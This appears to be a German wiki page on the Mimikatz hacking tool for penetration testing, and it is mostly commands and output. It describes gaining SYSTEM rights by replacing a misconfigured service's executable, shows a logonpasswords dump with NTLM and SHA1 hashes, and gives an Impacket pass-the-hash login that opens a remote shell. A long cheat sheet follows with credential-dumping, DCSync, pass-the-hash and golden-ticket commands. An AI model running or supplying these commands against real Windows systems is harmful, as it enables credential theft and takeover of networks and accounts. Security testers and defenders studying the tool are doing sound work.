MBCDN

Diese Seite ist nicht editierbar. Sie können den Quelltext sehen, jedoch nicht verändern. Kontaktieren Sie den Administrator, wenn Sie glauben, dass hier ein Fehler vorliegt.
Mimikatz ist ein freies und quelloffenes Hacking Tool für [[windows|Microsoft Windows]], mit dem, unter Ausnutzung von Schwachstellen, zwischengespeicherte Anmeldeinformationen (als Hash) angezeigt werden können. Siehe [[Penetration testing]]

Man benötigt Administrator oder SYSTEM Rechte! SYSTEM Rechte können durch Ersetzen der Executable eines schlecht konfigurierten Service und Neustart des Service erlangt werden. Der Service wird als SYSTEM gestartet und wenn man die Datei mit einer eigenen EXE ersetzt hat die einen Benutzer anlegt kann man diesen dann benutzen. 

<box red>Wenn das Service nicht startet können Sicherheitsmechanismen greifen!</box>

Tags: Token, Cookie, Hash, stealing

=====Example=====

<code>
c:\tmp> mimikatz.exe
Mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 270882 (00000000:00042222)
Session           : Interactive from 1
User Name         : manuel
Domain            : DESKTOP-TQFG3IR
Logon Server      : DESKTOP-TQFG3IR
Logon Time        : 02.06.2023 15:34:18
SID               : S-1-5-21-1718511148-443754455-1574503190-1000
        msv :
         [00000003] Primary
         * Username : manuel
         * Domain   : DESKTOP-TQFG3IR
         * NTLM     : 0a1aa37e9c8a54f1e52824e0c425d195
         * SHA1     : c5365e15c3fe86ac10cff834f163148aaa3e32ad
        tspkg :
        wdigest :
         * Username : manuel
         * Domain   : DESKTOP-TQFG3IR
         * Password : (null)
        kerberos :
         * Username : manuel
         * Domain   : DESKTOP-TQFG3IR
         * Password : (null)
        ssp :   KO
        credman :

[...]

Mimikatz # lsadump::lsa /patch
</code>

Unter Kali Linux gibt es das Tool Impacket-wmiexec zum Login mit Hashes (sog. Pass the hash attack). **Port 135 muss dazu am Ziel offen und man muss lokaler Admin (besser Domainadmin :P) sein**.

<code>
root@kali/# /usr/bin/impacket-wmiexec
root@kali/# /usr/bin/impacket-wmiexec -hashes :<ntlm-hash> <domain>/<user>@<ip|hostname>
Impacket v0.10.0 - Copyright 2022 SecureAutz Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful when you execute
[!] Press help for extra commands
C:\> whoami
DESKTOP-TQFG3IR\manuel
</code>

=====Cheatsheet=====

<code>
#general
privilege::debug
log
log customlogfilename.log


#sekurlsa
sekurlsa::logonpasswords
sekurlsa::logonPasswords full
sekurlsa::tickets /export
sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

#kerberos
kerberos::list /export
kerberos::ptt c:\chocolate.kirbi
kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

#crypto
crypto::capi
crypto::cng
crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
crypto::keys /export
crypto::keys /machine /export

#vault & lsadump
vault::cred
vault::list
token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert
lsadump::dcsync /user:domain\krbtgt /domain:lab.local

#pth
sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
sekurlsa::pth /user:Administrator /domain:WOSHUB /ntlm:{NTLM_hash} /run:cmd.exe

#ekeys
sekurlsa::ekeys

#dpapi
sekurlsa::dpapi

#minidump
sekurlsa::minidump lsass.dmp

#ptt
kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi

#golden/silver
kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /id:1107 /groups:513 /ticket:utilisateur.chocolate.kirbi
kerberos::golden /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /aes256:15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42 /user:Administrateur /id:500 /groups:513,512,520,518,519 /ptt /startoffset:-10 /endin:600 /renewmax:10080
kerberos::golden /admin:Administrator /domain:CTU.DOMAIN /sid:S-1-1-12-123456789-1234567890-123456789 /krbtgt:deadbeefboobbabe003133700009999 /ticket:Administrator.kiribi

#tgt
kerberos::tgt

#purge
kerberos::purge
</code>

=====Links=====

  * [[https://github.com/ParrotSec/mimikatz|Github Repository]]
  * [[https://www.microsoft.com/en-us/security/blog/2022/10/05/detecting-and-preventing-lsass-credential-dumping-attacks/|Detecting and preventing LSASS credential dumping attacks]]
MBCDN

Benutzer-Werkzeuge

Webseiten-Werkzeuge

Seiten-Werkzeuge
